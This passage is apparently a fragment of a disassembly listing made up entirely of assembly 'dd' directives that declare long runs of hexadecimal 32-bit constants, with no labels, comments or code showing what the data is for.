		dd 0E013503h, 0EBF6005Bh, 0F2E4F41h, 620B4E20h,	467E8854h
		dd 0BDA505A3h, 0D88092F7h, 0CB4F3EA6h, 5002FF50h, 46556770h
		dd 0B3720710h, 63CCF7A5h, 93D71D6Bh, 3BE0258Bh,	0DF00D789h
		dd 3D76EEC7h, 0BAAF5322h, 10469574h, 0C9703Ch, 0E22C50BBh
		dd 2507A8CCh, 0C8653937h, 250BA1B9h, 3BD4947Eh,	21874532h
		dd 0A292C84Ah, 6055D4BAh, 16D0BE30h, 80A1FB6Dh,	0CA7746F4h
		dd 4AF45040h, 2BA8CDD7h, 33E090A6h, 8E04371Fh, 0AB23F1C3h
		dd 0E6F40413h, 0B9680189h, 0AC223279h, 55CA4101h, 3C8B3F30h
		dd 30EEBDF4h, 1A12FCDFh, 61AA41A5h, 7DE57030h, 0A31F1384h
		dd 0F6892497h, 534ADC04h, 0A50EB4A3h, 41927322h, 1C383B8h
		dd 38022F27h, 0F05BCD09h, 0F14D2EFCh, 9361118h,	527FAC83h
		dd 0ECAEB50Ch, 106601BEh, 8E738308h, 0E071F7A9h, 12337FBDh
		dd 0D785028Dh, 0FE701920h, 7CA6B45Eh, 7A8A08h, 90398F4Bh
		dd 8001B2DEh, 0B39FA32Eh, 718174BDh, 0EB105F24h, 0B4122BC2h
		dd 3AA55404h, 5B4A212h,	551321C3h, 1EF9DC41h, 812A08F4h
		dd 61C44584h, 0A3C884AEh, 7495C71Ah, 960588FCh,	0FFDE51CBh
		dd 410B452h, 94007354h,	7988B2ADh, 4B802FF4h, 188F26Eh
		dd 823F1FCCh, 6E4D31Eh,	505D006Ah, 59F4489Ah, 0F7136E7Bh
		dd 0C0C8C405h, 5894023Bh, 783225E7h, 5F5A18DAh,	0E3FF5C02h
		dd 0AD4640B8h, 712F04BDh, 93EE5630h, 0F397ECC4h, 20F03CBBh
		dd 49B5B6C7h, 0E8166C60h, 83F4FB54h, 66C8D454h,	0D63DE70Ch
		dd 0F6F27187h, 50E08256h, 0B95F1FECh, 0B39E7030h, 0F46944A6h
		dd 920CFB58h, 4000ECA2h, 2B64E4D6h, 0F5129E1Bh,	0A0A8CE4Bh
		dd 20079D22h, 0E73C9125h, 6EDA2D11h, 7E80188Ch,	43003D59h
		dd 20294B3Bh, 65C0AAh, 0F07D2A3Ch, 30BDFC79h, 964B4F79h
		dd 0F4158080h, 0A3915A29h, 9A73108Ch, 8C6BF8h, 945445D6h
		dd 4D6CE133h, 0B9368C02h, 0D265A657h, 481C9828h, 0CA108446h
		dd 673087Bh, 19EE0071h,	517D5448h, 420AD4A0h, 0B9841F88h
		dd 6F2CD08Ch, 39E21786h, 0E7B420E8h, 796547CDh,	4CC1B478h
		dd 5424C409h, 5EACBCF8h, 0CE0E7846h, 0BC97DDD8h, 8228814Ch
		dd 0F570B72Ah, 236B0255h, 56BCD3CBh, 9E80D07Eh,	0D1F1E47Dh
		dd 637328h, 0A2A13A76h,	62E5DB09h, 0C5277590h, 20B73Ch
		dd 208FD9E5h, 0D61786E7h, 8CFC5B2Fh, 0BCACBCF5h, 52138C60h
		dd 85CF30Bh, 581CF3EDh,	0B0991C9h, 54CAF55Bh, 0B7F4F70h
		dd 98FEE004h, 911095EBh, 313F81AFh, 176A2EBEh, 587CF724h
		dd 8CA7B810h, 129D0E1Ch, 0DB938F81h, 0F22FE5E3h, 87007344h
		dd 5282F266h, 7C6499h, 9BA092E7h, 5B393276h, 850475F4h
		dd 0B853F2A3h, 0AD94FC13h, 89709B3Eh, 108FC83h,	0EF22BDA4h
		dd 58222BB4h, 4F5FF6h, 0B8B0F260h, 1CA351B3h, 803C092Fh
		dd 305B45Ah, 0CB627288h, 48F897C0h, 0C56F4A33h,	0ECC8F8ECh
		dd 0FB0F8C78h, 0B34D610h, 0FB4C8B18h, 0D0CD25BCh, 9A0B640h
		dd 2DDCB099h, 0E4515497h, 243CA8CFh, 5ABE0844h,	0DBF5C902h
		dd 9414557Dh, 25BC0121h, 6191C895h, 5772980h, 0C34BF6FBh
		dd 274F80E9h, 0C89CA0E8h, 322D58A7h, 3A0A018Fh,	282EB815h
		dd 89D38B08h, 9EB87CF9h, 52E69000h, 331AB02Eh, 275175D8h
		dd 24D8E257h, 0B34C6BFh, 918391Bh, 9040B880h, 6D9D9234h
		dd 0E2F9C490h, 0C02500F0h, 8562B1C4h, 4D2D017Ch, 646B9A3Bh
		dd 0D3B442F0h, 732D1056h, 793B708Ch, 49883EEEh,	5FBD17E6h
		dd 0D6D4F866h, 96B8E4F9h, 0C8350E12h, 6980A4F8h, 52D062C5h
		dd 0F7868E00h, 0E87FEEB0h, 0E9CD097Dh, 3D77A5ABh, 0C22E0E7Ch
		dd 8CF73985h, 3A20356Ch, 9FCFFA7Fh, 0CC009844h,	63F97D84h
		dd 6A3F1h, 52DE461h, 9609264Fh,	0F918CD2Dh, 69688030h
		dd 3F319FCEh, 902F8B4Ah, 0FB251523h, 0FFC880F8h, 0E5059297h
		dd 4F95C558h, 0EDE49810h, 1E2430DEh, 0EF47A507h, 0E7002636h
		dd 0B07493BCh, 0DF812F20h, 2EB1E8E0h, 0A5065902h, 7FB82B02h
		dd 0DCFE08BAh, 410B00DCh, 8A365832h, 0CD12A124h, 58ADB9C4h
		dd 2FA82CD0h, 46256F43h, 7502E84Eh, 0A631A390h,	56C048F2h
		dd 3BB94B37h, 6B235Ch, 1D47F637h, 96016ECEh, 3F2A5B2Ch
		dd 4C2E80BEh, 90317AC0h, 0C7A73000h, 0E09D1FAEh, 0AC9B124Ah
		dd 409CE3A2h, 5540FFACh, 39DF06h, 1D44F29h, 2E12E47Ah
		dd 4BFA97FEh, 2454DD20h, 3AD4467Ch, 0E01E0035h,	60EE5ACBh
		dd 0EAA50908h, 0F4485F8Bh, 0A1EFD7Bh, 6427A34Eh, 662900ECh
		dd 71DE4B95h, 6A2524F5h, 7E3891ADh, 72ACF4h, 961E0A2Dh
		dd 267CFE6Eh, 8C883B00h, 8DDA4197h, 0B00622C4h,	1535621Eh
		dd 0A15D8743h, 0D190D86Dh, 0C167163Fh, 0D250ADBBh, 1CA83CFDh
		dd 0D257FB16h, 4F0644ACh, 506AA3CCh, 6882AE5Bh,	2ABCE068h
		dd 0F835BF05h, 3F7C0C80h, 2540960h, 7077F86Fh, 989307BEh
		dd 6AE1B5F0h, 0C905447Dh, 0C0E27310h, 0D95E8030h, 9B750099h
		dd 47ABE157h, 1C9EA277h, 0BCE7C412h, 80BC9A5Fh,	22F689C3h
		dd 0EB1A2733h, 66037878h, 77206986h, 7C75D8BBh,	28CFE239h
		dd 4BA0D88Ah, 0C198F8B2h, 0BE2BEAA3h, 6012AA05h, 0E0B030A7h
		dd 121641A0h, 54308498h, 76295B1h, 0B8B7B3AEh, 6B280051h
		dd 21C06E57h, 0A8937713h, 0D1240096h, 0B4467D86h, 6C03CE41h
		dd 0B3AF3242h, 388900BDh, 1128A9C4h, 8B2525EEh,	0A48C59E8h
		dd 22F90404h, 0F280B219h, 0B6E1302Eh, 4C8985Ch,	0FBCA09E8h
		dd 3A9429ABh, 8223B02Fh, 0C13D6E00h, 58636942h,	0D42CDE94h
		dd 5002673Ch, 0B7296493h, 5F364000h, 0F8C1FB9Ah, 4BE774A7h
		dd 22F08A7Ch, 0CBF40B81h, 84ABDC89h, 397CF0D2h,	79238BCh
		dd 67144820h, 0DA5F3A94h, 6821D209h, 0D2B03755h, 2E78C455h
		dd 2F32344Fh, 21913C9Dh, 0E3AD5F80h, 561231E9h,	80067A2h
		dd 774655BCh, 808BB5AAh, 1BEA30B8h, 0B4B68CBAh,	0A00A01DCh
		dd 55C4B36Bh, 0A86D93h,	87280E46h, 3C447181h, 102730Bh
		dd 0A735DA54h, 6E7E80C0h, 0CA2AC481h, 0BEDC22BCh, 1A00DC5Ch
		dd 1DE16431h, 5F3A563Fh, 1B48DC5Fh, 0A722A33Dh,	0C1F0814Ch
		dd 0C13B4AE8h, 6366F8h,	0E9C679CFh, 2E82D1B8h, 7F76E68Dh
		dd 9ECA7CC3h, 0C3C0A35Fh, 805924AFh, 1D671168h,	3C421A9Eh
		dd 0E21B3642h, 0C018D5C0h
		dd 682E9718h, 923B7061h, 0A8ACC08Bh, 146AAF93h,	0F39EE002h
		dd 167FDE49h, 7B9DE8h, 39D45359h, 824709E4h, 0BC560735h
		dd 0B2491D60h, 28B097F1h, 3141C9CBh, 0BDAEBEDCh, 0C3F64C00h
		dd 49B5DFD9h, 0C1172BB8h, 3AC781EBh, 5C237C9Dh,	903383A2h
		dd 233700Fh, 0D72921C7h, 80556614h, 7B5E2490h, 2E7FEFAh
		dd 0CBF5D868h, 22FFD38Dh, 0A9C1312Ch, 38357D94h, 543A3E80h
		dd 3EBB3F9h, 4B7FB028h,	0D6D8F3FFh, 0A3135876h,	50BCF6E9h
		dd 5498E88Bh, 8100B65Ch, 0EE5765C1h, 1F6C55D3h,	413178A4h
		dd 0F34D2DCBh, 5398A562h, 408370C0h, 29FF8C00h,	0E5756254h
		dd 9793F4C5h, 99FFC03Ah, 803A68C4h, 0A994CCECh,	2CD06AEFh
		dd 5034F41Eh, 5D42C46Eh, 53BCF85Fh, 0B8C21000h,	0A1E279D3h
		dd 92CFAAAh, 940DBFACh,	41891CD9h, 0A7C47350h, 7D4FC7Eh
		dd 3A81E02Bh, 0D80BD0C1h, 44BF1D4Fh, 0FA120008h, 52E1E2Ah
		dd 0BD09499Ah, 81C0E93Eh, 0C690F748h, 1FBF6908h, 80AE1104h
		dd 0DCE291C0h, 5ADD1F1Eh, 923FCAB8h, 0BC4DADA4h, 96DC98C0h
		dd 51930331h, 3635E7E4h, 26EC29C5h, 306F1E8h, 4FEA8430h
		dd 0C818CE4Fh, 2307C079h, 0AF13B877h, 0C02863CAh, 466B58Ch
		dd 465E7C94h, 9B080117h, 42B2D781h, 3D40E0ECh, 70D8E27Ch
		dd 5B310510h, 0A49BD808h, 272511E8h, 0CB05018h,	0A80701C3h
		dd 4AF69F88h, 3F4A6574h, 0FED2D0A8h, 803FC6Bh, 0A1C1E803h
		dd 395BA7E0h, 0EC41F24Eh, 7637CC47h, 4812AB04h,	2546EFFh
		dd 0F4112E97h, 0D0455529h, 15F3F682h, 5D52223Ah, 7BE9C300h
		dd 9EF0C9B7h, 84060F6h,	0A4DEF3h, 0D1CCFB49h, 7AB7C84Fh
		dd 0B9FA3B28h, 1AA930C0h, 120FBE75h, 0E62EA519h, 1D0CE044h
		dd 59C6008Bh, 22A54ED8h, 6CB7AE33h, 2AA09E8h, 60E9873Dh
		dd 560451BBh, 1C003EECh, 23220710h, 0F505146Dh,	1D79C457h
		dd 0C0E08046h, 0E33DD076h, 0FC0003DDh, 0EE9E9266h, 0E24633h
		dd 30F047AAh, 323E978h,	9FCFC900h, 6B602DE3h, 0C31300C0h
		dd 2F64096Ch, 0D0061F7h, 9A29FD4Dh, 0F4E2558h, 0A7EBC9FEh
		dd 951F32h, 1178FC4h, 5558D76Ch, 0ECD90390h, 0D054B3C7h
		dd 0BE5F98h, 458DC890h,	15C33572h, 3D78D9FEh, 0C6DF7100h
		dd 0C822E0E5h, 7C120BB3h, 1500C519h, 6E02EC0Ah,	71ABBA00h
		dd 0E2B4599Ah, 0E0F300AEh, 8E611B0Bh, 930368B8h, 677EA77Ah
		dd 113C8810h, 94C30CF9h, 9968172Fh, 4796A200h, 6C406D44h
		dd 0A81454E3h, 0AA60001Dh, 16BDA0ADh, 0FC001B07h, 8C0CC10Eh
		dd 7D8AC5h, 0EDEC6DEAh,	0F3D25617h, 0C31E231Fh,	44C0125Fh
		dd 982A4171h, 5258C13Ch, 30190DFCh, 7B523022h, 72AD00E0h
		dd 0DF1674C6h, 282300E4h, 0C00BFD2Ch, 0F2001535h, 48C3C271h
		dd 3108C94h, 28E66B32h,	67F893C4h, 8D002CA3h, 1B54B820h
		dd 1AC4CF7h, 8A6DC189h,	0DC50D424h, 1D00FF2Bh, 6B1933DAh
		dd 7953A62Fh, 47201DFh,	0D4AB752Ch, 84002AE6h, 39479463h
		dd 0D372A1h, 1E5FA523h,	0BAFF9B9Dh, 0A7F28200h,	2D276E46h
		dd 0F62900C8h, 0A64971F7h, 0F90058B5h, 929FB083h, 1C7FF41Ah
		dd 0F0B157h, 93046F5Dh,	0D1122716h, 18006E78h, 0B8F4CF73h
		dd 70536520h, 1439C0B2h, 450218FDh, 0AC7DE9F8h,	8C94A6E6h
		dd 8F9500D8h, 0F2AD84F6h, 0C9004B97h, 98BE0F12h, 3BD026F3h
		dd 18007450h, 6FDBC69Fh, 0B80071FDh, 0DFC5083Ah, 500ACCC2h
		dd 74FCE0h, 0D1FC2805h,	5FFEDC48h, 1CECA201h, 0DA4EBB26h
		dd 0E8532ECCh, 1C90FBh,	0A9FCC5E0h, 138BC42Bh, 0D2630D00h
		dd 0DD1D7AF9h, 46530060h, 89474A62h, 2B18D7CBh,	0DB68F1E5h
		dd 7BFC01A4h, 0F62B7DDh, 0A2D8BA5Dh, 0D8525360h, 3EC4C807h
		dd 6CBB83FCh, 22208FA7h, 0F740B5E0h, 52CB5E00h,	681061EAh
		dd 779D014Ch, 0A589D8D1h, 0BCE4E462h, 0CA1202F6h, 0B007E65h
		dd 0A0E98054h, 57810ECFh, 4C63252Ch, 0EEC0A708h, 22007DA9h
		dd 0EA6E609Fh, 603BC63Fh, 7058612Ah, 87D5580h, 0B817B0C4h
		dd 9F725940h, 63E49899h, 0D62E7F0Eh, 0AC300FCh,	0EFEC1Eh
		dd 9FD82AD9h, 0C9154167h, 0B8558B00h, 0E2A7BDBBh, 0DEB50053h
		dd 4DB645FEh, 2200C77Bh, 596B1E71h, 519555Bh, 439492CEh
		dd 0BD8C8087h, 6A70E9C2h, 0B9B4B70Bh, 0E7E40F95h, 14C7DBA1h
		dd 0A5B0B301h, 4077199Dh, 0B1D966DFh, 8B038FBDh, 47D0994Ch
		dd 12204894h, 9775A100h, 56D74F80h, 0ACEA7615h,	3E593FD0h
		dd 0DCD180A2h, 572EB2Eh, 0E9241DD4h, 54C1406Bh,	1995A177h
		dd 0A7374800h, 0ECD7E6Dh, 0C3120042h, 0DF67AB9Eh, 4E6050Dh
		dd 0F97F770Fh, 68138030h, 62FAC5h, 4827AC81h, 6F261DD3h
		dd 2C6BC000h, 0FDEABC9Ah, 0FE9305CAh, 0B0821306h, 7500C07Ch
		dd 9741CDC4h, 0A781A91h, 6E774AE3h, 2C0C81D4h, 4021990Dh
		dd 715D73A0h, 3C188676h, 7D403E03h, 0E42C001Ah,	12F50E29h
		dd 0FB0001D9h, 49DB1365h, 2DF8589h, 0F19FA33Eh,	0D6809E6Dh
		dd 4F0EC8F8h, 5F29F900h, 5C49E4A7h, 73190138h, 0B8B5B451h
		dd 4210805Dh, 839157AEh, 0D4A902EAh, 8A09CF3Bh,	881B8C81h
		dd 0DF39801Dh, 0AB440C0Ah, 0ECC50092h, 9D35A15Fh, 0F6A112E2h
		dd 9BB2052h, 85B8FB7Dh,	9231738h, 20150A7Bh, 0E0D63D3Ch
		dd 4B910041h, 4E9A4AC8h, 0D5002974h, 53A13867h,	1FD1F2Dh
		dd 65136AFAh, 0C861DA1Ah, 2A0021D7h, 77483DC9h,	3A2BDFh
		dd 2456B20Dh, 533CA49Dh, 0C837041Eh, 0EBBFA5C0h, 0A3862Bh
		dd 5E07D960h, 0E3301802h, 9268550Eh, 4E6CE050h,	38FD29E2h
		dd 3100AFE1h, 0AE4F5BCBh, 124C62DBh, 9346018h, 396099A5h
		dd 4D097759h, 0AC54D088h, 3E50E580h, 90FA1BB4h,	417B00A8h
		dd 0AAA86067h, 0B301A101h, 554F6CF7h, 34E43BD2h, 0A2062CD7h
		dd 2EAA0A0Ah, 750801B0h, 40F8C00Eh, 375A3EF4h, 80838539h
		dd 0A06B0D88h, 33861FDh, 8B40E029h, 518F9379h, 405559F6h
		dd 0F184AEB8h, 40CFA03h, 0A8B68564h, 3EAA46ECh,	563C1250h
		dd 8152EB80h, 1395F626h, 0B1C8CA00h, 5D9EE785h,	0D3D70368h
		dd 0C4DA4305h, 0F1F461F8h, 0D0A3E78h, 0FF062976h, 0E79D1D00h
		dd 32C165h, 1C4FA7D0h, 2C1364B7h, 1298A500h, 26CD11E2h
		dd 14D81747h, 6A340061h, 74191FB7h, 55EE3F0Eh, 60046003h
		dd 373ADBCh, 0E4BD5887h, 8AA07A70h, 4C0789EBh, 0E82AC0D0h
		dd 84CC48D0h, 653802D2h, 9BD832ECh, 0ACAB43C0h,	0B679B900h
		dd 0B2DE8845h, 1EEC01EFh, 0A89B8636h, 0E7A93078h, 0A2D2A00h
		dd 0CCEEB048h, 0F8DA389Dh, 0D3DF6438h, 75F85400h, 0FA073CC7h
		dd 1083BAB8h, 8B7C0BEh,	5F02A6h, 61DAF23h, 633ED1D8h, 58D3F614h
		dd 62797AB1h, 8B0D9000h, 9E32BCDCh, 38AA00C3h, 0F66F8EA4h
		dd 0FE4B3913h, 0EE17B0EDh, 3A94D01Bh, 0AA1D8AC7h, 0AF1DD731h
		dd 3FEE9A05h, 82D4101Ch, 7AE8041Ch, 0ECFC145Fh,	110A613Ah
		dd 10F039h, 0B1BC19ECh,	26B852A3h, 0C3007B74h, 0B2657F23h
		dd 0DD226Fh, 0FFDFB006h, 0C2769695h, 3A81570Fh,	0EE3D003Fh
		dd 0F6CA203h, 80B9A7FEh, 3E9800FFh, 9DF8979Ah, 0BA5E86E2h
		dd 0DF305400h, 7BCFD8Ah, 6B546ADCh, 515220BBh, 490024CCh
		dd 0A3777D32h, 19AC2C5h, 0D4C343F4h, 9FA56466h,	48826A98h
		dd 0D23CFBFFh, 7228373Ch, 44F180C8h, 93AC2DCh, 0FDC6004Ch
		dd 5E563CFCh, 60B50083h, 0BF054321h, 6B016612h,	70D51E54h
		dd 806FF258h, 988333C4h, 8696B500h, 0A7DED863h,	0FE21011Dh
		dd 2BD1668Dh
		dd 0A3F8CCA2h, 28F30F01h, 0D32EF10Bh, 337F4h, 61DC2094h
		dd 0C6796A29h, 1D2D709h, 0B83ADF39h, 1D483557h,	0FB9652A6h
		dd 0E4B4440Ah, 9D201E80h, 956F0521h, 39004844h,	152C8BADh
		dd 784ECEh, 9456D144h, 846E0703h, 4C2FB84Fh, 0ED00D023h
		dd 558A15Ch, 0CFEA09A7h, 57473Bh, 7A5A1E20h, 0ACF095B9h
		dd 0C3A06D97h, 0C98028CAh, 0A809E1E5h, 0E876AECFh, 0D0C712ACh
		dd 54800808h, 0ACBF6D63h, 0C4CBB304h, 1EFB6E56h, 350322F4h
		dd 0F2EC83FEh, 0E0BE80DFh, 0D4600E1h, 0C9DAA133h, 0B0092177h
		dd 0F7A86F93h, 27C61085h, 9FFFF0D0h, 98A04BAAh,	0DF4F22A3h
		dd 34BFF484h, 66C0043Ch, 1C9DEF15h, 0A084A63Eh,	2ED46255h
		dd 9C3042Bh, 545B39h, 0D80A5943h, 393E7440h, 69807F3Ch
		dd 39183D58h, 1A3C3420h, 0D93A03BBh, 0D82F601Bh, 42B21FCh
		dd 0CBEC6798h, 0B83C9325h, 0D2FAEAE9h, 4676245Eh, 2FAB0017h
		dd 444777DBh, 97027A80h, 0C806E437h, 278AD362h,	38A091C6h
		dd 490C7ADBh, 474F7100h, 27BFB121h, 5C729D68h, 0FB8B3F25h
		dd 11C670A4h, 12746E39h, 12BE65F3h, 0C930FCD0h,	628A0C9h
		dd 0B526B107h, 0CF7D4896h, 84B9134Bh, 681C7ABCh, 43013347h
		dd 0D77BF048h, 0EED6D892h, 6328C020h, 949E8A3h,	758C8F56h
		dd 36521C80h, 6D127014h, 740930B8h, 4E5CDEA8h, 427DF867h
		dd 0E4756899h, 736E0044h, 9BAC55FEh, 7A01F705h,	0F61B2818h
		dd 0C16BC5CBh, 7EBCB2A4h, 2857344Ah, 2799C200h,	5B637FC1h
		dd 2E00F11Bh, 2EC87C8Fh, 86B2C9C0h, 563F08AEh, 0C0027F8Ah
		dd 0DF09EBFEh, 0F4BE0094h, 6ED52156h, 26949080h, 2B5E303h
		dd 0A6306647h, 147569DEh, 0D610B624h, 1075A600h, 0C35DC5D4h
		dd 83842D79h, 2C88B497h, 0A515606Fh, 0CD120965h, 60A379CFh
		dd 0C6ED2B1h, 23AD001Fh, 0DA3E7B11h, 0B605CA79h, 3989FBF6h
		dd 0E22C44AEh, 1560444h, 2C47F890h, 789EE94Ah, 24642D48h
		dd 0C2D2B700h, 0A059857Fh, 912D000Dh, 0B9C0ADFh, 0CB4EC167h
		dd 88EB58A4h, 0EF20F2A3h, 0C5E50949h, 10DF904Bh, 5BA51A5Ch
		dd 6228F266h, 0DF471E86h, 763128A0h, 10C46BEAh,	0C1EF062Eh
		dd 6B5C13E0h, 0E901A424h, 78764E31h, 512F3981h,	0A763424Fh
		dd 100044D9h, 13779FC5h, 4CFBEAA5h, 7E210748h, 11FF6B01h
		dd 0CDE10FE4h, 5628C26Fh, 1F00E8DAh, 8C57F9EAh,	0EA450632h
		dd 54870095h, 68F0CB8Ah, 3535C02Eh, 18A03892h, 4E2940BDh
		dd 0B7F8E873h, 0CB6D69C1h, 0D86C1BE9h, 0F391A909h, 0F42BC56h
		dd 35E501AAh, 30206556h, 19D3832Ch, 0A26422BBh,	0EA4FB820h
		dd 25228445h, 79882DEh,	76C3E774h, 0EC504E81h, 0C3F280E0h
		dd 0B7148817h, 60E2D06Dh, 453861AEh, 0E39640BBh, 4EB4ED49h
		dd 27161CFCh, 50ECA204h, 47008354h, 0B3C10CC0h,	6032D3ADh
		dd 0C6DBBE27h, 732719F2h, 40851CFh, 6516D9F5h, 0D6A2C4B6h
		dd 57DFF498h, 0A41D8500h, 0B30AF068h, 0A2644E49h, 20C85F04h
		dd 43CA38BCh, 642A9C00h, 4C82F948h, 0B080310Eh,	57BA42A3h
		dd 61644099h, 0EA5F2EA9h, 4782024Ch, 60773C9Ch,	97C72E2Ch
		dd 48CA405h, 13ACC3F0h,	0C50020FAh, 8A00200Ch, 5A79F2BFh
		dd 17FA1C3h, 12C9C687h,	0D5298C03h, 0C45EFCF5h,	4950F995h
		dd 0FF7C925Dh, 9B00B837h, 0F228249Ch, 0FDCC4BE6h, 6AAAD304h
		dd 7683A30h, 352C9105h,	0D175CBC1h, 924C0B2Bh, 0CA803459h
		dd 86E5BED5h, 7D871BA5h, 0EAC408F8h, 1030745Dh,	2FAE3056h
		dd 0C697342h, 0DF2C3080h, 0B22BB441h, 0A410886Ch, 50B609F0h
		dd 0B5E414DFh, 4B1FE835h, 10E041D4h, 0E34BAB93h, 0A86E5FA4h
		dd 0F4FC1F00h, 0E2E9DBADh, 5AD3510Fh, 0A5B36260h, 163CF969h
		dd 0C64C49C9h, 2FECB9DDh, 0E0DA2B0Dh, 7435C09Dh, 6CAD58A5h
		dd 0CF5BD098h, 28BEE4C4h, 7D6A65D4h, 0D427F091h, 52569C08h
		dd 0CE84F24Ch, 0C901F1E9h, 9E2A5163h, 50876F18h, 0D698FE39h
		dd 768E3213h, 0FB6020BBh, 9D0BD4F6h, 7C2495A7h,	0F4742774h
		dd 2F0E00DCh, 0F5DE8C53h, 1EF2E797h, 778CE29Fh,	14CAF449h
		dd 7000B46Fh, 6BC8A0CCh, 3A9F7BDBh, 0D4D8DC80h,	0D0A2464Eh
		dd 4048BE1Ch, 0AB4D9695h, 2100352Fh, 1EE571EFh,	13758F66h
		dd 0E19EA3Fh, 0C0E99B20h, 69E47Eh, 41683620h, 0C4E297E9h
		dd 8F40E074h, 7FEB351h,	5DB59137h, 69BC73C8h, 0E39E790Bh
		dd 607458F9h, 0CC7FC86Eh, 58C27AA3h, 608667A2h,	8EF9Ah
		dd 1F206A68h, 79D74B75h, 45A54804h, 0E8E06354h,	1700910h
		dd 185F807Fh, 27C39058h, 0BCC40584h, 125BF200h,	9F7F742Ah
		dd 3C6D16DDh, 0A80CEDF6h, 65018CA1h, 1BADDACFh,	0E12E3DECh
		dd 0B2D98E58h, 56F178A7h, 0C8CA864h, 8E7100D0h,	1D588685h
		dd 830BD92Bh, 0DCBB7F4Ch, 0B700DE90h, 0BC4E6751h, 5AA3F3F4h
		dd 0B214E35Ah, 0BFDB30A3h, 3704E3EEh, 53EABE31h, 7E28D081h
		dd 76711447h, 987462FEh, 0E7674AC3h, 7544B06Ch,	13771636h
		dd 4FB8F83Fh, 46E800ADh, 54FD41Dh, 40285EADh, 2D1042B0h
		dd 0C53D891Ch, 32A8CCC1h, 58C294ECh, 40C3028Ch,	0A36DD051h
		dd 61D1AC71h, 0EE1C5218h, 11CE9202h, 5A7EA04Fh,	9A4EBE3Eh
		dd 7C37BDB8h, 0D20C4B02h, 0FC805F84h, 3FF4491Dh, 19040B9Dh
		dd 0F70B448h, 0F3F21288h, 39900318h, 21277CEDh,	9D2C589Eh
		dd 0F88B6804h, 80C19FFCh, 14F11FD2h, 7CE32Bh, 864549B2h
		dd 3AA076h, 0EEB73E13h,	0E4475F72h, 58AEA72Ch, 0F4301FDEh
		dd 8C2C019h, 0DAB42AD2h, 0C1CBEB17h, 0BE34D044h, 0C8B0CFAAh
		dd 590BC182h, 4E90E424h, 52C5A701h, 0B2C2791Dh,	8CF33Fh
		dd 35171EBAh, 2589327h,	0F5A95522h, 4F20B506h, 765E6796h
		dd 5CD202FDh, 0E133F47Bh, 0ACDD4DE2h, 5EBDB8D4h, 4FB0A739h
		dd 1B0470BCh, 0ABF5EB8Ch, 53FAA00Bh, 1979D108h,	50A53220h
		dd 9D63C251h, 79C7C0D1h, 0CF901D48h, 55FD9B9Ch,	6D02C4D8h
		dd 158EE5C9h, 5C30C757h, 7A5E049Ch, 0E00086D4h,	93F2A6DFh
		dd 4604072h, 4302A5CAh,	904EAB52h, 7AAE960Eh, 76C7276Ch
		dd 736A50B8h, 0E660ECAFh, 0B4934814h, 1C119F50h, 5D014065h
		dd 0C676D1Ch, 14B59E7Eh, 723620E8h, 0E413207Ah,	0DCB3E083h
		dd 20C0B027h, 0EE974EA7h, 50CCBBD4h, 0AA748BBAh, 0EBC75C04h
		dd 0CFEBAFC3h, 0C0AE88D8h, 638308B4h, 56B90A00h, 0F19BFF6Bh
		dd 55E4257Fh, 0EDA5F0FBh, 0A712406Ch, 8805F869h, 0BFB40643h
		dd 23903EBEh, 67D10787h, 0C74A659Fh, 0FCD57418h, 9AAFB4ECh
		dd 0D82D9F6Ch, 0F2A30430h, 0EA40B257h, 50F91465h, 0FC00D4B8h
		dd 250FC865h, 82590302h, 8AAE7C82h, 66AC3A75h, 33D0024h
		dd 2BC0208Fh, 7AF0E5E7h, 7BC6712Dh, 80157858h, 91A08F00h
		dd 0C465EF42h, 509B60AFh, 44FF48BBh, 78F1A44Bh,	2E7CB52Bh
		dd 9FCC9Bh, 0D46FC857h,	0B80130A4h, 0EBF47471h,	2D6AD57Dh
		dd 9CDA6B68h, 0E3F6E781h, 0F8843F5Dh, 0B65817BFh, 9EFAE090h
		dd 0FCEB503Fh, 241B06FEh, 38F9884Dh, 0D4D86812h, 706BFFh
		dd 31F06A22h, 5A24DA16h, 8360A8CBh, 0D04DC094h,	44600Ah
		dd 4393F909h, 71D05E83h, 0FBAEFC0Fh, 7518693Dh,	2C9E841Dh
		dd 0A37C96A1h, 0C5E50BACh, 98295F4Fh, 0BFE7986Dh, 20FA2844h
		dd 55D6E984h, 4EEAC2E2h, 206CA348h, 0C423F757h,	0BC50ED4Ah
		dd 799E0CFCh, 75D93E3Bh, 0E6363105h, 61BF67CDh,	24C8270h
		dd 7C90D5F9h, 0E81EABC2h, 0C4C0E387h, 0FA7B2858h, 4E7FA5h
		dd 8BF1413Ah, 756B5CAEh
		dd 101742F6h, 30DBF8DBh, 0F6AB3B82h, 0FE98CC77h, 72E21798h
		dd 0E64009EAh, 4165B0D6h, 0B8C0DCA8h, 1877AC54h, 0EDE39C12h
		dd 300C00B8h, 0CED99676h, 0A2F460BDh, 45149E58h, 0DB8C520Ch
		dd 0D0078090h, 73D47BD8h, 0C34F5188h, 0AE0A602Ch, 49A4F370h
		dd 0F4400076h, 32A331h,	50821EB9h, 0EF70DB41h, 3B789A00h
		dd 0BC554968h, 0F91525F1h, 15E40C45h, 0DE2CE460h, 49AF5500h
		dd 0C3F5F721h, 0ECD24CD9h, 0A08266A2h, 6FD59EBEh, 3F8147F0h
		dd 0D22374A0h, 8604BC5Bh, 0B9DBF1CBh, 0B3D85713h, 6F2CE1DCh
		dd 1AB5A20Ch, 5BC082E0h, 0D0410284h, 0FBC81475h, 6EEFB854h
		dd 6CF7035Ch, 0DACB87C7h, 0E0C257A4h, 91841D5Fh, 0FB429D16h
		dd 0FCA2AB4Dh, 1C56030h, 428249F7h, 0E0375FE9h,	6CE09380h
		dd 1ABECEBh, 3F49B39Eh,	6413CDE7h, 4FBD1B84h, 60A3643Ch
		dd 30268208h, 676892DCh, 0F895AF07h, 0C0449F20h, 9E08CB3Eh
		dd 0E842D126h, 7DEA3BDFh, 3FA994A1h, 84166BFAh,	88D230FCh
		dd 65BFDC5Ch, 35CD8274h, 607FFF68h, 8AEBF1Ch, 6E576B76h
		dd 7E8DC080h, 7BA417BDh, 200800C4h, 4430C956h, 55726233h
		dd 0E49E392Fh, 5DB90040h, 0BB271D50h, 589D732Ah, 6354013Ch
		dd 0A4F5C9A8h, 90C8426Ah, 0B3005852h, 0C29DFE5Fh, 4141069h
		dd 1EE61C65h, 609BBA38h, 25407F80h, 0AFF4E7EDh,	8B53DD3Ah
		dd 0E2FA2445h, 1E900140h, 3C23472Bh, 0CF3017B2h, 4A920F32h
		dd 0C3C2A554h, 0B8A0DFF9h, 9CB018A9h, 7491CB27h, 38C2A540h
		dd 4B8098B7h, 0AD840A3Dh, 0EC185BCBh, 0A5B2C548h, 5860A4F5h
